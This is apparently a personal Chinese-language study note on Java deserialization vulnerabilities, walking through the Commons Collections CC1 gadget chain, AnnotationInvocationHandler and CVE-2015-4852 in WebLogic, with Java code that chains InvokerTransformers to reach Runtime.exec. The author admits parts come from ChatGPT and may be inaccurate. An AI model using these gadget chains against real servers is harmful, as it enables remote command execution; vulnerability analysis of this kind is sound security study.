JAVA反序列化漏洞及实例分析
0x00 漏洞原理
1.基础知识
序列化与反序列化是java提供的用于将对象进行持久化便于存储或传输的手段。序列化可以将对象存储在文件或数据库中,同时也可以将序列化之后的对象通过网络传输;反序列化可以将序列化后的对象重新加载到内存中,成为运行时的对象。
在JAVA中,主要通过ObjectOutputStream中的writeObject()方法对对象进行序列化操作,ObjectInputStream 中的readObject() 方法对对象进行反序列化操作。需要序列化的对象必须实现@serializable接口。需要注意的是,如果被序列化或反序列化的类中存在writeObject()|readObject()方法,则在进行序列化|反序列化之前就会调用该方法。这通常是引起反序列化漏洞的一个重要特性。
首先定义一个User类用于序列化:
public class User implements Serializable{
private int age;
private String username;
private String password;
User(){
this.age = 10;
this.username = "test";
this.password = "test";
}
//在序列化之前被调用
private void writeObject(ObjectOutputStream os) throws IOException {
os.defaultWriteObject();
System.out.println("readObject is running!");
}
//在反序列化之后被调用
private void readObject(ObjectInputStream is) throws IOException, ClassNotFoundException {
is.defaultReadObject();
System.out.println("writeObject is running!");
}
@Override
public String toString() {
return "User{" +
"age=" + age +
", username='" + username + '\'' +
", password='" + password + '\'' +
'}';
}
}
然后进行序列化|反序列化操作:
public static void main(String args[]) throws IOException, ClassNotFoundException {
User user = new User();
//将序列化对象存储在serialize_data中
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serialize_data"));
System.out.println("serialize");
oos.writeObject(user);//序列化
oos.close();
//存储在serialize_data中的对象反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("serialize_data"));
System.out.println("deserialize");
User userDeserialize = (User)ois.readObject();//反序列化
System.out.println(userDeserialize.toString());
ois.close();
}
//输出结果
/*
serialize
readObject is running!
deserialize
writeObject is running!
User{age=10, username='test', password='test'}
*/
2.反射
由于本人是为了解决问题而学习JAVA,部分内容直接通过Chatgpt获取,并且该文章并不在各大平台发布,只是个人记录,所以不保证写的内容准确性,仅是本人将得到结果与计算机基础结合,若符合逻辑,那么便认可记录(后续若发现错误会更改或是遗忘,请观看者保持独立思考的能力)
首先Java的反射是为了让程序访问,检测和修改它本身状态的一种能力。通过反射,我们可以获取类的信息,实例化对象,访问和修改字段(每一个实例的字段值不同,针对的是实例化的对象的字段),调用方法......
在类初始化,也就是JVM加载类的时候,会调用执行类的静态代码块。反射如果想调用除静态方法以外的方法需要传入实例化对象。静态方法可以直接通过类调用。
0x01 实例分析
1.Apache Commons Collections 反序列化漏洞
其造成了CVE-2015-4852,CVE-2015-6420,CVE-2015-7501。
Conmmons Collections中有一个TransformedMap ,其作用是对普通的map进行装饰,在被装饰过的map添加或者修改键值对时会首先调用其中Transformer 类的transform() 方法。TransformedMap 的构造函数可以传入单个Transformer。多个Transformer 构成的数组还可以构成执行链。听起来很复杂,下面看一下代码:
public class Main {
public static void main(String[] args) throws IOException, ClassNotFoundException {
//Transformer 有很多种,ConstantTransformer的作用是对于任何输入的参数都返回构造函数输入的对象
Transformer transformer = new ConstantTransformer(new Integer(3));
//普通map
Map<String,String> rawMap = new HashMap<String, String>();
//装饰后的map
Map map = TransformedMap.decorate(rawMap,transformer,transformer);
map.put("dfd","dfsf");
//输出装饰后内容
map.forEach((k,v)->{
System.out.println(k+":"+v);
});
}
}
//console output
//3:3
从输出结果可以看出,放在rawMap 中的键值对已经被转换成了ConstantTransformer 构造函数传入的整数对象。 因此我们可以利用InvokerTransformer 构造一个调用链来进行恶意命令的执行。代码如下:
public class Main {
public static void main(String[] args) throws IOException, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"evilCmd"})
};
Transformer transformer = new ChainedTransformer(transformers);
Map<String,String> rawMap = new HashMap<>();
Map map = TransformedMap.decorate(rawMap,null,transformer);
map.put("aaa","bbb");
}
}
其中构造了几个InvokerTransformer ,其中每一个transform()的输入分别是前一个transform() 方法的输出。因此这段代码翻译过来等价于:
((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("evilCmd");
这样就可以通过Transform调用链来执行系统命令。
此时,我们提到的Commons Collections并没有与反序列有关,也不能系统命令执行。但是由于AnnotationInvocationHandler这个类的存在,和上面的一些点结合起来,就产生了安全隐患。
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private static final long serialVersionUID = 6182022883658399397L;
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
private transient volatile Method[] memberMethods = null;
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
GetField var2 = var1.readFields();
Class var3 = (Class)var2.get("type", (Object)null);
Map var4 = (Map)var2.get("memberValues", (Object)null);
AnnotationType var5 = null;
try {
var5 = AnnotationType.getInstance(var3);
} catch (IllegalArgumentException var13) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var6 = var5.memberTypes();
LinkedHashMap var7 = new LinkedHashMap();
String var10;
Object var11;
for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
Entry var9 = (Entry)var8.next();
var10 = (String)var9.getKey();
var11 = null;
Class var12 = (Class)var6.get(var10);
if (var12 != null) {
var11 = var9.getValue();
if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
}
}
}
...
}
}
AnnotationInvocationHandler是这样一个类:
- 可序列化
- 有一个Map 类型的属性
- readObject() 方法中调用了Map属性 的setValue()方法。
如果攻击者进行构造一个AnnotationInvocationHandler对象,其Map 属性的实际类型为TransformedMap ,并且将其中的Transformer构造为恶意调用链。那么在反序列化过程中就会执行readObject(),继而执行TransformedMap属性的setValue()方法,导致TransformedMap中值的改变,然后触发攻击者构造的恶意恶意调用链。最后产生系统命令执行的漏洞。漏洞的逻辑如下:
Deserialize -> call readObject() -> call setValue()-> call transform() -> call Runtime.exec()
2.CVE-2015-4852 WebLogic反序列化
CC1链 Commons Collections v3.2。
首先是invokeTransformer类,该函数的transform方法会调用自己属性设置好的对象的方法(对象是调用transform方法的时候传入,而反射调用的方法确是创建invokeTransformer实例的时候就设置好了)。
为了使用Runtime的exec方法,我们需要获取Runtime对象(传入上述的invokeTransformer类的transform方法),由于Runtime对象一般情况下无法实例化,所以我们调用Runtime类的getRuntime()方法。但是反序列化的时候无法像下述代码一样调用:
import org.apache.commons.collections.functors.InvokerTransformer;
public class InvokerTransformerTest
{
public static void main(String[] args){
InvokerTransformer InvokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")});
InvokerTransformer.transform(Runtime.getRuntime());
}
}
所以我们要在某一个类中找到能调用InvokerTransformer. transform的点,并且其还能传入我们的Runtime对象。
这里能找到ChainedTransformer类。其的transform方法会像一条链一样调用自己iTransformers的transform方法,并且传入的object是上一次的结果(第一次传入的object为调用该类transform的object)
为了解决Runtime对象的问题,可以使用ConstantTransformer类,其的transform无论传递的值如何都会返回iConstant,所以只要其iConstant为Runtime类就行了(我感觉这里应该是runtime对象,首先返回值是object,其次如果是类的话最后invoke函数getclass还是返回的java.lang.class)。总之这个作为链的第一段的开头,执行transform返回Runtime对象,然后在传递给invokeTransformer执行exec方法。
链第二段的终点应该达到第一段的起点。
我们需要触发ChainedTransformer的transform,并且ChainedTransformer应该是该类的成员。这里使用的是TransformedMap类。
我们可以控制其中的valueTransformer参数为构造好的ChainedTransformer。跟进parent.checkSetValue,此处会调用TranformerMap.valueTransformer.transform方法。
最后需要触发这个第二段链,所以还需要找到一个readObject()的点,找到的类是AnnotationInvocationHandler。这里的map是我们设定好的 TransformedMap,然后readObject会调用map的setvalue,这也就会触发第二段链。
触发点也找好了,在AnnotationInvocationHandler类的Readobject下断点。
其触发于InboundMsgAbbrev类中。
0xFF 参考文献
知道创宇云安全:https://www.tinymind.net.cn/register 这里感觉是个转载收二手费的F12禁用js就可以读了,二手贩子是真恶心。。。
文章评论